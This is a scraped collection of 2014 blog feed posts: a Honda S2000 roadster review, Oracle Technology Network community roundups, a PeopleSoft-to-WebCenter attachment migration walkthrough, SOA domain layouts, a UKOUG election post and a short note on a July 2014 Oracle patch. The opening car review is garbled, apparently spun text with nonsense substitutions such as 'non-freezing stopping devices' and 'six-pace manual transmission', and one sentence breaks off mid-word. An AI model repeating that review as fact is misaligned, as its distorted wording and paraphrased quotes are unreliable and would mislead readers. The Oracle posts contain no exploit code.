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2009 honda s2000 ultimate edition for sale

EBIZ SIG BLOG - Tue, 2014-09-09 18:40
Drive the S2000 tenderly and you presumably won't be satisfied with the buzzy powertrain and occupied ride. Tuned to perform on tight clips, the S2000 can feel rigid and jittery on open streets. Wind out the motor and push its points of confinement in corners, and you're in for a totally diverse, smile actuating background; that is the thing that the Honda S2000 is about.

Mazda's Miata feels very nearly large in correlation to the S2000. The cockpit is confined regardless of how little the tenants. The high shoulders of the S2000 keep the driver and traveler, and the controlling wheel sits low even at its most noteworthy alteration point. Strangely for Honda, the controls aren't laid out neatly (there's not a considerable measure of dash space to do so), and the enormous red Start catch appears to be more like a contrivance. There's a lot of dark plastic, as well, for the sake of sparing weight.

The 2009 Honda S2000 is one of the slightest reasonable large scale manufacture autos on the planet. There's practically no inside or trunk stockpiling, the cockpit's more confined than the mentor situates on a Boeing 757, and its evaluated above $30,000. It is an exemplary roadster sportscar with back wheel drive, a ragtop to open on sunny days, a six-pace manual transmission, and a rev-cheerful four-barrel motor.
2009 red honda convertible s2000
A year ago Honda presented the S2000 CR, the club-racer adaptation of the standard S2000. The CR gets a full-body flight optimized unit, superior Bridgestone tires, firmer suspension settings, a thicker hostile to move bar, and new wheels. A lightweight aluminum hardtop that cuts weight by around 90 pounds replaces the delicate top component. Inside, the CR gets different material seats with yellow sewing, another aluminum shifter handle, and carbon-fiber resemble the other much the same trim boards.

Standard supplies on the 2009 Honda S2000 incorporates electronic dependability control and non-freezing stopping devices, however side airbags—a gimmick now found on almost all new vehicles—aren't accessi

although the 2009 Honda S2000 has a dated design, the bottom edition stands out for its spectacular mix of fashion and performance, regardless of the overwhelming additions on the CR.

automobiles.com studies other exterior highlights embody trendy “excessive-intensity-discharge headlamps and 17-inch alloy wheels” that come usual on the 2009 Honda S2000. Edmunds resorts essentially the most distinguished criticism of the exterior of the 2009 Honda S2000, noting that whereas the brand new aerodynamic items on the CR “reduce excessive-velocity aerodynamic lift by way of about 70 p.c,” additionally they “cut back the car’s overall visual appeal with the aid of, oh, 79 %.” evaluations read through ebizsig.blogspot.com convey that the exterior styling of the 2009 Honda S2000 is a large success, and Kelley Blue e-book says the Honda S2000 “strikes an awfully un-Honda like, slightly depraved poise” that may “resemble an angry cobra about to strike.”
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Kelley Blue e book notes that “CR models include an aerodynamic physique kit,” together with “raise-reducing front and rear spoilers and a removable aluminum onerous high instead of the traditional cloth” model on the standard Honda S2000.
according to the reviewers at Edmunds, the “2009 Honda S2000 is a compact two-seat roadster that’s provided in two trims: same old and CR.” each trims share the same normal profile, which automobiles.com calls a “wedge-formed profile that stands except for different roadsters.”

ConsumerGuide approves of the internal structure on the 2009 Honda S2000, claiming that the “S2000 has a comfortable cockpit, so everything is shut at hand,” and whereas the “digital bar-graph tachometer and digital speedometer usually are not the sports activities-automotive norm,” they're “simple to learn.” Edmunds chimes in, noting that “just about all the controls you’ll ever want are set up inside a finger’s extension of the guidance wheel.” one of the most cooler interior features to find its method right into a manufacturing car is the “new top-power Indicator” on the 2009 Honda S2000 CR, a feature that cars.com says will flash “a inexperienced light when top power is reached.” Kelley Blue ebook gushes the 2009 Honda S2000’s “inside is stuffed with excellent surprises,” including a “giant pink start button on the sprint” and “the long heart console [that] sits up excessive, affording you the perfect perch on which to rest your arm.”
2009 honda s2000 performance specs
The 2009 Honda S2000 enjoys better handling because of the quicker guidance ratio and new tires, and the CR variation is a monitor-necessary contender that can hold its personal against more expensive European and American competition.

The EPA estimates that the 2009 Honda S2000, whether in standard or CR kind, will get 18 mpg within the city and 25 on the highway. Most cars as robust because the 2009 Honda S2000 pay a big penalty on the gasoline pump, however the small engine blended with lightweight development on the Honda S2000 yields a moderately frugal efficiency machine.

evaluations read by way of ebizsig.blogspot.com convey that the engine is happiest when operating flat-out. cars.com notes that “once it reaches 5,000 rpm or so, the S2000 lunges ahead like a rocket,” and Edmunds adds that “piloting the 2009 Honda S2000 takes some getting used to, on the grounds that height energy is delivered at nearly eight,000 rpm.” ConsumerGuide reviewers love the engine and find the Honda S2000 “offers a stunning provide of usable power across a extensive rpm vary, mixed with ultrahigh-revving excitement.” although two diverse versions of the 2009 Honda S2000 are on hand, Edmunds studies that the only engine offered is a “2.2-liter four-cylinder that churns out 237 hp at a lofty 7,800 rpm and 162 pound-feet of torque at 6,800 rpm.” Honda has tuned the engine on the Honda S2000 almost to the breaking point, with automobile and Driver commenting that “the S2000’s 2.2-liter four is mainly maxed out.”
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evaluations learn by using ebizsig.blogspot.com additionally compliment the S2000’s transmission for its easy shifts and brief throws. Kelley Blue e book claims that the engine and transmission combination makes for “startlingly-quick efficiency,” whereas the chassis provides “outstanding nimbleness” to the 2009 Honda S2000 package deal. vehicles.com states that the four-cylinder engine on the S2000 Honda “mates with a six-speed handbook transmission” that ConsumerGuide says will supply “manageable take hold of motion” and a “slick, quick-throw gearbox.”

As excellent as the engine/transmission mixture is, coping with continues to be a trademark of the 2009 S2000. automobiles.com holds nothing back in praising the “razor-sharp steerage, disciplined coping with and athletic cornering ability” of the 2009 Honda S2000. Kelley Blue e book reviewers rave about the “just about flat cornering conduct and intensely crisp response that allows” the 2009 Honda S2000 “to barter the corners with positive tenacity.” The membership Racer is even more impressive, with automotive and Driver reporting it “is simply harder and sharper, with much less physique roll and tire scrubbing and extra nook composure and stability underneath braking.” sadly, the associated fee for all that efficiency is bad journey quality, and ConsumerGuide points out that “nearly every small bump and tar strip registers during the seats.” On the positive aspect, ConsumerGuide also comments that “braking is swift and simply modulated” whether or not you might be driving on the street or the monitor.
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Check Out the ACE Book Signings in the Oracle OpenWorld Bookstore!

OTN TechBlog - Tue, 2014-09-09 15:03

Make sure to leave room in your suitcase for a signed copy of a book written by one of our amazing Oracle ACEs and Oracle ACE Directors! You can find the Oracle OpenWorld Bookstore in the Moscone South Upper Lobby (right next to the OTN Lounge). Here is a list of ACEs and the times when they will be doing a book signing in the Oracle OpenWorld Bookstore:

Monday, September 29th, 2014 - 1:00pm to 1:30pm - Meet and Greet Session with Oracle Press Authors
  • Luc Bors, Oracle ACE - Oracle Mobile Application Framework Developer Guide
  • Gustavo Gonzalez, ACE Director - Oracle E-Business Suite Financials Handbook, 3rd Ed.
  • Michelle Malcher, ACE Director - Oracle Database 12c: Install, Configure & Maintain Like a Professional
  • Michael McLaughlin, Oracle ACE - Oracle Database 12c PL/SQL Programming
  • Harshad Oak - ACE Director - Java EE Applications on Oracle Java Cloud
Tuesday, September 30th, 2014 - 12:30pm to 1:00pm
  • Matjaz B. Juric, ACE Director - WS BPEL Beginner's Guide - Packt Publishing
Wednesday, October 1st, 2014 - 1:00pm to 1:30pm - Meet and Greet Session with Oracle Press Authors
  • Ian Abramson, Oracle ACE - Oracle Database 12c: Install, Configure & Maintain Like a Professional 
  • Arun Gupta, Java Champion - Java EE and HTML5 Enterprise Application Development
  • Micael Rosenblum, Oracle ACE - Oracle PL/SQL Performance Tuning Tips & Techniques
  • Brendan Tierney, ACE Director - Predictive Analytics Using Oracle Data Miner
Thursday, October 2nd, 2014 - 1:00pm to 1:30pm - Meet and Greet Session with Oracle Press Authors
  • Michelle Malcher, ACE Director - Oracle Database 12c: Install, Configure & Maintain Like a Professional

Best of OTN - Week of August 31st

OTN TechBlog - Fri, 2014-09-05 09:19
Architect Community

Over the past seven days the following OTN technical articles were the most popular on the topic of Identity and Security:

  1. How To Configure Browser-based SSO with Kerberos/SPNEGO and Oracle WebLogic Server [May 2013]
    by Abhijit Patil
    Oracle WebLogic Server offers a complete solution for single sign-on with Microsoft clients using Kerberos.
  2. Working with Oracle Security Token Service in an Architecture Involving Oracle WebLogic and Oracle Service Bus [January 2014]
    by Ronaldo Fernandes
    A step by step guide to creating a single sign-on between Oracle WebLogic and Oracle Service Bus using Oracle Security Token Service (OSTS) to generate SAML tokens.
  3. Oracle Identity Manager UI Customizations [February 2014]
    by Gaurav Singh
    Tips, tricks, and technical insight into customizations for the Oracle Identity Manager user interface.

Click here for more Identity and Security articles.

Friday Fun from OTN Architect Community Manager Bob Rhubart:
You will be forgiven for jumping out of your chair and dancing along to this fantastic performance by my guitar hero, Ry Cooder, along Louisiana accordion great with Buckwheat Zydeco and rocker Lenny Kravitz: Click here for the video.

Database Community -

Oracle Key Vault Option is Here - Finally, a centralized way to manage all the encryption keys and credential files in the data center.    learn more!.

Java Community -Listen to Greg Wilkins talk about his Jetty/Servlet sessions at JavaOne 2014  - Want another good reason to go to JavaOne this year?  What this!

Tech Article: Understanding Java JIT Compilation with JITWatch - Java expert Ben Evans provide a primer on Just-In-Time compilation with JITWatch

Interview with Nikita Salnikov-Tarnovski
- Another sneak peek of what is in store for JavaOne sessions!

Systems Community -

New Articles for Oracle Solaris Developers - Rick Ramsey point us to three NEW articles for Oracle Solaris Developers. 

Brendan Gregg's Quick Reference Page for Linux Performance - Brendan Gregg is a regular contributor to DTrace and other Oracle Solaris technologies. Recently, Brendan turned his high-performance spectacles on Linux.

Tech Article: How to Get the Best Networking Performance from OVM for SPARC  -
Oracle VM lets you assign I/O networking resources to domains with a lot of flexibility. With this flexibility comes a wide range of performance possibilities. This article provides guidance regarding the most suitable configuration for certain workloads.

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Migrating Existing PeopleSoft Attachments into the Managed Attachments Solution

This post comes from Fishbowl’s Mark Heupel. Mark is an Oracle Webcenter consultant, and he has worked on a few different projects over the last year helping customers integrate WebCenter with Oracle E-Business Suite and PeopleSoft. One of WebCenter’s strengths is it provides these integrations out-of-the-box, including a document imaging integration to automate invoice processing with WebCenter’s capture, forms recognition and imaging capabilities, as well as workflows leveraging Oracle Business Process Management. Mark discusses WebCenter’s integration with PeopleSoft and its managed attachments solution below.

Application Integration

Oracle’s Managed Attachments solution enables business users in PeopleSoft to attach, scan, and retrieve document attachments stored in an Oracle WebCenter Content Server repository.

One of the issues that our clients face when moving to Oracle’s Managed Attachments solution is determining what to do with the attachments that already exist in PeopleSoft. We at Fishbowl have come up with a method to migrate these attachments into WebCenter Content in bulk while still maintaining the attachments’ context within PeopleSoft.

A high-level view of the solution is as follows. Queries are written on the PeopleSoft side to export each of the attachments, as well as a file containing each attachment’s metadata and PeopleSoft contextual information, to a network share. This is a task done by a PeopleSoft administrator. We then use our Enterprise Batchloader product to bulk load these files into WebCenter Content. We’ve written a customization that overrides the set of services that qualify for Managed Attachments to include our Enterprise Batchloader service. Since the context of the attachments is included in the metadata file, the Enterprise Batchloader check-ins work in the same way that a normal check-in from Managed Attachments would and the attachments retain their PeopleSoft context. Let’s get into the details of how this works.

Managed Attachments Overview

In order to understand the migration strategy, we first need to understand how Managed Attachments works under the covers. The important piece to know for this migration is that the table that stores the Managed Attachment object information on the WebCenter side is the AFObjects table. This table stores the PeopleSoft context information as well as the dDocName of each of the attachments currently being stored in WebCenter. Here is an example of what the AFObjects table looks like:

AFObjects Table

Each row in this table represents one PeopleSoft attachment being managed in WebCenter Content. The dAFApplication, dAFBusinessObjectType, and dAFBusinessObject fields make up the context for where the attachment is located in PeopleSoft. The dAFApplication field represents the application, the dAFObjectType field represents the page, and the dAFBusinessObject field is a pipe delimited list of the primary key values from the page where the attachment is located in PeopleSoft. The dDocName field is simply the dDocName of the content item in WebCenter.

When a user clicks the Managed Attachments link on the PeopleSoft screen a request is made over to WebCenter that contains the contextual page information from PeopleSoft (dAFApplication, dAFBusinessObjectType, and dAFBusinessObject). Using this contextual information, a query is then made against the AFObjects table to find the content IDs of the attachments that should be returned back to the user. A similar request is made when a user checks in a document through the Managed Attachments screen in PeopleSoft. The PeopleSoft context information is sent to WebCenter, the document is checked in, and then a row is inserted into the AFObjects table that contains the PeopleSoft contextual information as well as the dDocName of the newly checked-in document.

Loading Content into WebCenter

In order to be able to successfully load a large number of content items into WebCenter, while still maintaining the correct PeopleSoft context, we had to write a customization to hook into the existing Managed Attachments check-in functionality. The AppAdapterCore component, one of the two components installed on WebCenter for Managed Attachments, contains the core Managed Attachments code. This component contains a list of services such as CHECKIN_NEW that, when called with the PeopleSoft contextual information in the binder (dAFApplication, dAFObjectType, and dAFObject), executes the query that inserts a row into the AFObjects table. The customization that we wrote overrides the list of services specified in the AppAdapterCore component to include our Enterprise Batchloader check-in services. By doing so, we’re able to hook into the same insert query that Managed Attachments already uses, assuming we have placed the correct PeopleSoft context information in the binder.

Here is an example of what a standard Enterprise Batchloader blf (batch load file) would look like:

Batch Load File
As you can see, the file simply contains the action to take (insert), the location of the primary file, and the required metadata fields for WebCenter. In order to assign the correct PeopleSoft context we simply need to specify the dAFApplication, dAFObjectType, and dAFObject fields in the blf file:

Batch Load File 2

This effectively places each of those fields into the binder in WebCenter. When Enterprise Batchloader is run and performs its check-ins into WebCenter, the Managed Attachments functionality gets called and a row is inserted into the AFObjects table for each attachment that specifies the PeopleSoft context information. As long as the correct PeopleSoft contextual information is placed into the Enterprise Batchloader blf file, we’re able to bulk load as many attachments as needed into WebCenter while still retaining the correct PeopleSoft context information for use with the Managed Attachments solution.

I hope this provides you with an example of how your existing PeopleSoft Managed Attachments content could be migrated to WebCenter. After all, getting this content into WebCenter has many additional benefits, such as version control, renditions, retention management and the ability to surface this content to WebCenter-based mobile apps and portals. If you have questions or would like to engage with Fishbowl on such projects, please email info@fishbowlsolutions.com.

 

The post Migrating Existing PeopleSoft Attachments into the Managed Attachments Solution appeared first on Fishbowl Solutions' C4 Blog.

Categories: Fusion Middleware, Other

Oracle Technology Network at Oracle OpenWorld and JavaOne SF 2014

OTN TechBlog - Wed, 2014-09-03 14:17

It is September again! The OTN team is working hard to provide an excellent experience for the OTN Members once again at Oracle OpenWorld and JavaOne in San Francisco, September 28th through October 2nd 2014. OTN events to put on your calender right away!

  • OTN Kick Off Event –  Sunday, September 28th, 3 to 5pm - Perfect way to start the week!  Join us for a beverage, grab a community ‘band’ to help find like minded folks, and to network! In OTN Lounge Moscone South Upper Lobby.  
  • OTN Wearable Meetup Tuesday, September 30th, 4 to 6pm - Get your best wearables technology gear on and come hang out with the OTN Team and the Oracle Applications User Experience team.  Inexpensive yet tasteful gifts for attendees sporting wearable tech, while supplies last!

Once again the OTN team can be found in two locations; OTN Lounge in Moscone South and in Java Hub in Hilton. Stay tuned to this blog to learn more details, but here are some of the highlights so far for both locations.  

OTN Lounge Moscone South Upper Lobby Activities and Meetups- Community Meetups -
  • RAC Attack – Sunday September 28th, 9am to 2pm
  • Delphix and DbVisit – Monday September 29th, 3:30pm to 5pm
  • Oracle Spatial and Graph users Meetup– Wednesday October 1st, 4 to 5pm
Daily Activities in OTN Lounge-
  • Make Your Own Shirt - some of the design options are below.

  • Origami
  • Photo Booth
  • Kiosks featuring Oracle Community, ACE program and other community initiatives.
OTN Activities @ Java Hub / Hilton -  Daily Activities -
  • Hackergarten
  • 3D Modeling 
  • Meet The Experts
  • Get Your OTN Java Shirt Find out how onsite!

* Watch for schedules on JavaOne Blog.

Best of OTN - Week of August 17th

OTN TechBlog - Fri, 2014-08-22 11:43
Architect CommunityThe Top 3 most popular OTN ArchBeat video interviews of all time:
  1. Oracle Coherence Community on Java.net | Brian Oliver and Randy Stafford [October 24, 2013]
    Brian Oliver (Senior Principal Solutions Architect, Oracle Coherence) and Randy Stafford (Architect At-Large, Oracle Coherence Product Development) discuss the evolution of the Oracle Coherence Community on Java.net and how developers can actively participate in product development through Coherence Community open projects. Visit the Coherence Community at: https://java.net/projects/coherence.

  2. The Raspberry Pi Java Carputer and Other Wonders | Simon Ritter [February 13, 2014]
    Oracle lead Java evangelist Simon Ritter talks about his Raspberry Pi-based Java Carputer IoT project and other topics he presented at QCon London 2014.

  3. Hot Features in Oracle APEX 5.0 | Joel Kallman [May 14, 2014]
    Joel Kallman (Director, Software Development, Oracle) shares key points from his Great Lakes Oracle Conference 2014 session on new features in Oracle APEX 5.0.

Friday Funny from OTN Architect Community Manager Bob Rhubart:
Comedy legend Steve Martin entertains dogs in this 1976 clip from the Carol Burnette show.

Database Community

OTN Database Community Home Page - See all tech articles, downloads etc. related to Oracle Database for DBA's and Developers.

Java Community

JavaOne Blog - JRuby and JVM Languages at JavaOne!  In this video interview, Charles shared the JRuby features he presented at the JVM Language Summit. He'll be at JavaOne read the blog to see all the sessions.

Java Source Blog - IoT: Wearables! Wearables are a subset of the Internet of Things that has gained a lot of attention. Learn More.

I love Java FaceBook - Java Advanced Management Console demo - Watch as Jim Weaver, Java Technology Ambassador at Oracle, walks through a demonstration of the new Java Advanced Management Console (AMC) tool.

Systems Community

OTN Garage Blog - Why Wouldn't Root Be Able to Change a Zone's IP Address in Oracle Solaris 11? - Read and learn the answer.

OTN Garage FaceBook - Securing Your Cloud-Based Data Center with Oracle Solaris 11 - Overview of the security precautions a sysadmin needs to take to secure data in a cloud infrastructure, and how to implement them with the security features in Oracle Solaris 11.


Oracle 12C - In-Memory Option Resources

Karl Reitschuster - Wed, 2014-08-20 23:17

Hi folks,

Introduced as an Option Oracles In-Memory option will change the world of databasing also like SAP HANA does; Since July the release is out but the search for resources and documentation is  poor;

Here some useful links I found.

First the Home of Oracle In-Memory

Slicing the EDG

Antony Reynolds - Tue, 2014-08-19 20:24
Different SOA Domain Configurations

In this blog entry I would like to introduce three different configurations for a SOA environment.  I have omitted load balancers and OTD/OHS as they introduce a whole new round of discussion.  For each possible deployment architecture I have identified some of the advantages.

Super Domain

This is a single EDG style domain for everything needed for SOA/OSB.   It extends the standard EDG slightly but otherwise assumes a single “super” domain.

This is basically the SOA EDG.  I have broken out JMS servers and Coherence servers to improve scalability and reduce dependencies. Key Points

  • Separate JMS allows those servers to be kept up separately from rest of SOA Domain, allowing JMS clients to post messages even if rest of domain is unavailable.
  • JMS servers are only used to host application specific JMS destinations, SOA/OSB JMS destinations remain in relevant SOA/OSB managed servers.
  • Separate Coherence servers allow OSB cache to be offloaded from OSB servers.
  • Use of Coherence by other components as a shared infrastructure data grid service.
  • Coherence cluster may be managed by WLS but more likely run as a standalone Coherence cluster.
Benefits
  • Single Administration Point (1 Admin Server)
  • Closely follows EDG with addition of application specific JMS servers and standalone Coherence servers for OSB caching and application specific caches.
  • Coherence grid can be scaled independent of OSB/SOA.
  • JMS queues provide for inter-application communication.
Drawbacks
  • Patching is an all or nothing affair.
  • Startup time for SOA may be slow if large number of composites deployed.
Multiple Domains

This extends the EDG into multiple domains, allowing separate management and update of these domains.  I see this type of configuration quite often with customers, although some don't have OWSM, others don't have separate Coherence etc.

SOA & BAM are kept in the same domain as little benefit is obtained by separating them. Key Points

  • Separate JMS allows those servers to be kept up separately from rest of SOA Domain, allowing JMS clients to post messages even if other domains are unavailable.
  • JMS servers are only used to host application specific JMS destinations, SOA/OSB JMS destinations remain in relevant SOA/OSB managed servers.
  • Separate Coherence servers allow OSB cache to be offloaded from OSB servers.
  • Use of Coherence by other components as a shared infrastructure data grid service.
  • Coherence cluster may be managed by WLS but more likely run as a standalone Coherence cluster.
Benefits
  • Follows EDG but in separate domains and with addition of application specific JMS servers and standalone Coherence servers for OSB caching and application specific caches.
  • Coherence grid can be scaled independent of OSB/SOA.
  • JMS queues provide for inter-application communication.
  • Patch lifecycle of OSB/SOA/JMS are no longer lock stepped.
  • JMS may be kept running independently of other domains allowing applications to insert messages fro later consumption by SOA/OSB.
  • OSB may be kept running independent of other domains, allowing service virtualization to continue independent of other domains availability.
  • All domains use same OWSM policy store (MDS-WSM).
Drawbacks
  • Multiple domains to manage and configure.
  • Multiple Admin servers (single view requires use of Grid Control)
  • Multiple Admin servers/WSM clusters waste resources.
  • Additional homes needed to enjoy benefits of separate patching.
  • Cross domain trust needs setting up to simplify cross domain interactions.
  • Startup time for SOA may be slow if large number of composites deployed.
Shared Service Environment

This model extends the previous multiple domain arrangement to provide a true shared service environment.

This extends the previous model by allowing multiple additional SOA domains and/or other domains to take advantage of the shared services.  Only one non-shared domain is shown, but there could be multiple, allowing groups of applications to share patching independent of other application groups. Key Points

  • Separate JMS allows those servers to be kept up separately from rest of SOA Domain, allowing JMS clients to post messages even if other domains are unavailable.
  • JMS servers are only used to host application specific JMS destinations, SOA/OSB JMS destinations remain in relevant SOA/OSB managed servers.
  • Separate Coherence servers allow OSB cache to be offloaded from OSB servers.
  • Use of Coherence by other components as a shared infrastructure data grid service
  • Coherence cluster may be managed by WLS but more likely run as a standalone Coherence cluster.
  • Shared SOA Domain hosts
    • Human Workflow Tasks
    • BAM
    • Common "utility" composites
  • Single OSB domain provides "Enterprise Service Bus"
  • All domains use same OWSM policy store (MDS-WSM)
Benefits
  • Follows EDG but in separate domains and with addition of application specific JMS servers and standalone Coherence servers for OSB caching and application specific caches.
  • Coherence grid can be scaled independent of OSB/SOA.
  • JMS queues provide for inter-application communication.
  • Patch lifecycle of OSB/SOA/JMS are no longer lock stepped.
  • JMS may be kept running independently of other domains allowing applications to insert messages fro later consumption by SOA/OSB.
  • OSB may be kept running independent of other domains, allowing service virtualization to continue independent of other domains availability.
  • All domains use same OWSM policy store (MDS-WSM).
  • Supports large numbers of deployed composites in multiple domains.
  • Single URL for Human Workflow end users.
  • Single URL for BAM end users.
Drawbacks
  • Multiple domains to manage and configure.
  • Multiple Admin servers (single view requires use of Grid Control)
  • Multiple Admin servers/WSM clusters waste resources.
  • Additional homes needed to enjoy benefits of separate patching.
  • Cross domain trust needs setting up to simplify cross domain interactions.
  • Human Workflow needs to be specially configured to point to shared services domain.
Summary

The alternatives in this blog allow for patching to have different impacts, depending on the model chosen.  Each organization must decide the tradeoffs for itself.  One extreme is to go for the shared services model and have one domain per SOA application.  This requires a lot of administration of the multiple domains.  The other extreme is to have a single super domain.  This makes the entire enterprise susceptible to an outage at the same time due to patching or other domain level changes.  Hopefully this blog will help your organization choose the right model for you.

UKOUG 2014 Elections

Doug Burns - Sat, 2014-08-16 18:18
I noticed from Debra Lilley's blog post that there are some UKOUG elections at the moment, with voting closing on 1st September 2014.

Although not an active member or supporter of UKOUG any more (at least partly because I'm based in Singapore!), I've had a pretty long association with the user group and a lot of my friends have been involved over the years, so I still take an interest in what's going on there. Even more so this time, because I know two of the candidates pretty well.

Carl Dudley needs no introduction to anyone who has been remotely close to the UK or European OUG scene down the years and is an old mate who has put in a world of time to UKOUG over the years and, as a techie, has always tried to ensure that it remains relevant to all areas of the membership.

Pauline Drummond, on the other hand, will be largely unknown to most of the OUG community as I think she's only been attending events over the past few years. (I maybe be wrong about that as my memory isn't what it was for some reason ;-)) I know Pauline pretty well, though, as she was a manager at Standard Life when I worked there on contracts for several years before moving down to London, including being my direct manager for the last contract there. President Elect seems a pretty senior role within UKOUG but if Pauline applies the same boundless energy and enthusiasm that she always did in the office then I can see her being great at it. She makes me tired just thinking about all of the volunteering and organisation and sport and work stuff she gets through and is very dedicated and focussed to working with others to get things done, which strikes me as just what you need from a president of a user group.

For a change it's not one of my techie mates I'm suggesting would be good for the role of President because it is a role that needs to respect and appeal to the entire membership and the other entities that UKOUG has to deal with, not least Oracle, so you need someone with a broad corporate view. Pauline is an appropriate choice in this case, although I can't help hoping that she doesn't antagonise potential conference presenters as UKOUG seems to have done over recent times!

Regardless, I always hope for the best for UKOUG and my various mates who put a power of work into their volunteering and presenting roles, so hopefully some new voices will be a step in the right direction ....

Best of OTN - Week of August 10th

OTN TechBlog - Fri, 2014-08-15 11:12

Brief public service announcement before we get into the OTN community best of content for the week.... Four Bands. Three Epic Nights. Join Oracle for three evenings of entertainment and fun, all during Oracle OpenWorld and JavaOne, September 28-October 2, San Francisco. Learn More

Architect Community

Any discussion of the best of OTN must include the OTN ArchBeat Podcast. Consistently among the top 3 most popular Oracle podcasts, Archbeat focuses on real conversations with community members. Normally I pick the topics and the guest panelists for each program, but now you have a chance to take over that role and become a Guest Producer. In that role you'll pick the discussion topic and the panelists, while I do the all of the grunt work, allowing you to bask in the glory

Want to know how to become an OTN ArchBeat Podcast Guest Producer? You'll find the details here: Yes, you can take over the OTN ArchBeat Podcast!

And here are two examples of OTN ArchBeat Podcasts produced by community members:

-- OTN Architect Community Manager Bob Rhubart

Database Community

OTN DBA/DEV Watercooler Blog - Did You Say "JSON Support" in Oracle 12.1.0.2?.

-- OTN Database Community Manager Laura Ramsey

Java Community

The Java Source Blog - walkmod : A Tool to Apply Coding Conventions .

Friday Funny: I was worried the #NSA might be spying on me Thanks, @pacohope.

-- OTN Java Community Manager Tori Weildt

Systems Community

The OTN Systems Community HomePage- Find Great Resources for System Admins and Developers.

-- OTN Systems Community Manager Rick Ramsey

How to beat workday blues?

Vattekkat Babu - Fri, 2014-08-15 06:37

Let us face it - all of us feel like having achieved or done very little after spending a long day away from family. Then you look back and find that you could've spent some of that time with family at least!

I've been observing my work habits a lot and I think I have found out something that works for me.

I am summarizing these as a NOT-TODO list of 3 items. I am a software engineer by profession and by passion.

Has this worked for me? Absolutely much better than when I was not following these rules.

Best of OTN - Week of July 27th

OTN TechBlog - Fri, 2014-08-01 13:13
Systems Community - Rick Ramsey, OTN Systems Community Manager -

Tech Article -  Playing with ZFS Snapshots, by ACE Alexandre Borges -
Alexandre creates a ZFS pool, loads it with files, takes a snapshot, verifies that the snapshot worked, removes files from the pool, and finally reverts back to the snapshot file. Then he shows you how to work with snapshot streams. Great way to do backups

From OTN Garage FB - Recently a DBA at an IOUG event complained to Tales from the Data Center that they were unable to install from the Solaris 11.2 ISO. They had seen an Openstack a few weeks ago, and wanted to know how to install Solaris 11.2 in a VM. So guys… here is a step by step for you - Tales from the Datacenter.

Java Community - Tori Wieldt, OTN Java Community Manager

Tech Article: Learning Java Programming with BlueJ IDE https://blogs.oracle.com/java/entry/tech_article_learning_java_programming

The Java Source Blog - The Java Hub at JavaOne! Come see the Oracle Technology Network team and see cool demo's, interviews, etc.

Friday Funny : "An int and an int sometimes love each other very much and decide to make a long." @asz #jvmls Thanks @stuartmarks !

Database Community - Laura Ramsey, OTN Database Community Manager

OTN DBA/DEV Watercooler BlogOracle Database 12c Release 12.1.0.2 is Here! ..with the long awaited In-Memory option, plus 21 new features. Oracle Database 12c Release 12.1.0.2 supports Linux and Oracle Solaris (SPARC and x86 64 bit).  Read More!

Architect Community - Bob Rhubart, OTN Architect Community Manager
Top 3 Playlists on the OTN ArchBeat YouTube Channel

Vamos to the OTN Latin America Tour!

OTN TechBlog - Wed, 2014-07-23 15:33

Rick Ramsey, OTN Systems Community Manager, just wrote a GREAT blog post about the upcoming OTN Latin America Tour! A brief excerpt is below - go to his blog post to see the full schedule and register for this series of events which kicks off August 2nd.

"Oracle User Groups in Latin America, our friends in the Oracle product teams, Oracle ACES, and the Oracle Technology Network have put together a terrific agenda for the 2014 Tour. Hands-on labs, demos, and presentations for developers and deployers of the technologies in the Oracle stack, from applications all the way to systems, including Oracle Database and trending topics such as Big Data. Presenters will be product experts drawn from the Oracle ACE Community and Oracle product teams."


Site Maintenance Complete!

Tim Hall - Sat, 2014-07-19 04:40

It looks like the site maintenance is complete and from my perspective the DNS changes have gone through.

If you go to the homepage and see a message called “Site Maintenance” in the “Site News” section, it means you are being directed to the new server. If you don’t see that it means you are still being directed to the old server and you won’t be able to read this. :)

I guess it will take a few hours for the DNS changes to propagate. Last time I moved the site it took a couple of days to complete for everyone.

Cheers

Tim…

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Best Of OTN - Week of July 13th

OTN TechBlog - Fri, 2014-07-18 12:40
Systems Community- Blog - Get Your ZFS On
Five articles explaining how to use ZFS in the real world, by Oracle ACE Alexandre Borges.

Tech Article: Playing with ZFS Encryption -
Oracle Solaris 11 supports native encryption on ZFS so that it can protect critical data without depending on external programs. It's also integrated with the Cryptographic Framework. Alexandre explains the benefits of these and other Oracle Solaris encryption capabilities, and the different methods for encrypting and decrypting files, file systems, and pools.

Article - Building Bridges - Accept the existence of silos in large organizations, but build bridges between them and, incentives to use those bridges, by my colleague Bob Rhubart, manager of OTN's Architect Community.
Organizational silos thwarting IT architecture goals? Put away the sledgehammer.
Java Community- Blog - Oracle releases #JavaSE 8 Update 11 and Java SE 7 Update 65 - Developers can download the latest Java SE JDK and JRE the Oracle Technology Network.

Java Magazine: The July/August issue of Java Magazine explores the Java Virtual Machine (JVM), and includes a JavaOne preview.

RT @OracleAcademy: Where Are the #Women in Makerspaces? #WomeninSTEM #gendergap #tech - Read more here.

Database Community -

Hey Hey! Oracle has published it's Critical Patch Advisory for July 2014. Get it Here. Send to Your Friends!

Web Launch Replay- Oracle Big Data SQL - Bringing Structured Queries to an Unstructured World.  Oracle has just launched Oracle Big Data SQL.  


Pre-Built Developer VMs (for Oracle VM VirtualBox) -

Learning your way around a new software stack is challenging enough without having to spend multiple cycles on the install process. Instead, we have packaged such stacks into pre-built Oracle VM VirtualBox appliances that you can download, install, and experience as a single unit. Just downloaded/assemble the files, import into VirtualBox (available for free), import, and go (but not for production use or redistribution)!

Planned Maintenance This Weekend!

Tim Hall - Fri, 2014-07-18 02:14

Just a quick heads-up to you folks…

On Saturday I’ll be transferring my website and blog to a new server. It’s with the same hosting company, so hopefully the DNS changes will not be too drastic.

The site is already in place on the new box and it seems to be working fine, so on Saturday morning I will do a backup of the MySQL databases and transfer them to the new machine, then initiate the DNS change.

The last time I did this, which was between different hosting companies, there were some issues in some geographical regions for a couple of days, but most people were seeing the site as normal within about an hour.

Note. If you happen to post on the forum or comment on a blog post during Saturday, it might be lost depending on the timing. Also, my email address my go wonky for a little while…

Fingers crossed… :)

Cheers

Tim…

 

Planned Maintenance This Weekend! was first posted on July 18, 2014 at 9:14 am.
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Oracle CPU July 2014 + Oracle Exploit CVE-2013-3751

Alexander Kornbrust - Wed, 2014-07-16 10:03

Yesterday, Oracle released a new critical patch update (CPU Jul 2014) for July 2014. This CPU contains fixes for 5 database vulnerabilities. The most critical one, CVE-2013-3751, has a base score of 9.0 and affects Oracle 12.1 only. The same issue was already fixed for Oracle 11.2 in July 2013 (CPU Jul 2013).

After a short research on the web (google and twitter, less than 5 minutes) I found an exploit for the CVE-2013-3751.

